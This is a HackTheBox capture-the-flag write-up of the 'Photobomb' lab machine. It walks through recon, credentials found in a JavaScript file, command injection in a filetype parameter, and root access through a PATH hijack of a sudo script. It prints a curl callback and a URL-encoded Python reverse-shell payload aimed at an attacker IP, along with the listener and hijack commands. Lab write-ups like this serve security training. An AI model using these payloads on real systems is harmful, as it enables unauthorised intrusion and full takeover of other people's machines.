Hackthebox Photobomb Writeup
Dedsec / October 10, 2022
4 min read •
Description
Hackthebox released a new machine called photobomb. On this machine, we got the web server where there is a JS file where we get the username and password to access the protected route, then abuse the filetype parameter to get a rev shell as photobomb and for Privilege Escalation using path traverse to get a root shell.
Nmap
❯ nmap -sC -sV -oA nmap/result 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-10 15:17 IST
Nmap scan report for 10.10.11.182
Host is up (0.085s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.68 secondsNmap tell us there are two open ports 22 ssh and 80 http and HTTP port redirect us to http://photobomb.htb/
Let’s quickly add this in our /etc/hosts file
❯ cat /etc/hosts
127.0.0.1 localhost examzy.com
255.255.255.255 broadcasthost
::1 localhost
10.10.11.182 photobomb.htbPort-80
There is a simple HTML page with a link which going to /printer but it’s asking for password that’s we don’t know
After that, I view the source code of the website that’s include the JS file called photobomb.js
Viewing that file, we got the username and password
Now let’s try to log in with that username and password
username = pH0t0
password = b0Mb!After login, we see that there is an option to download photo to print
I capture that request in burp and try some command injection in all parameters
I try the payload in all parameter because I don’t know in which parameter there will be command injection
But before that start your python web server
> python3 -m http.server 80
This conforms that photo and dimensions parameter is not vulnerable
Command Injection
Let’s try with file type parameter
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png;curl+10.10.XX.XX/dedsec&dimensions=3000x2000
And we got the hit, it’s mean we can get rev shell with that
RCE
I try bash payload, but that didn’t work, so let’s try python one
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=png%3bexport+RHOST%3d"10.10.XX.XX"%3bexport+RPORT%3d9001%3bpython3+-c+'import+sys,socket,os,pty%3bs%3dsocket.socket()%3bs.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))%3b[os.dup2(s.fileno(),fd)+for+fd+in+(0,1,2)]%3bpty.spawn("sh")'&dimensions=3000x2000Before that, start your net cat listener
> nc -nvlp 9001It’s hanging that good sign, let’s check the net cat
Boom 🎉 we got the shell as wizard user
Got the user.txt
wizard@photobomb:~/photobomb$ cd ~
cd ~
wizard@photobomb:~$ cat user.txt
cat user.txt
4af8270c5c6ddff5d13ccb3ee2d7193aPrivilege Escalation
Before running linpeas let’s try with sudo -l
And we can see there is cleanup.sh script which we can run with sudo privilege
wizard@photobomb:~$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.shAnd the content of the script is straight forward, it’s just taking the log file and move their content into photobomb.log.old and then use truncate to clear photobomb.log to 0 byte
but if you see clearly it’s not using absolute path like cd, find we can take advantage of that and traverse the path of that binaries
wizard@photobomb:~$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;Just add /bin/bash in cd file and give read, write, execute permission
I also create find file because if one failed we have backup to get shell as root
Now just run that file with sudo permission and set the PATH to /temp directory
wizard@photobomb:~$ echo "/bin/bash" > /tmp/cd
echo "/bin/bash" > /tmp/cd
wizard@photobomb:~$ echo "/bin/bash" > /tmp/find
echo "/bin/bash" > /tmp/find
wizard@photobomb:~$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
sudo PATH=/tmp:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id
id
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
0777d5279a599ddc20bb5edf5253d8b6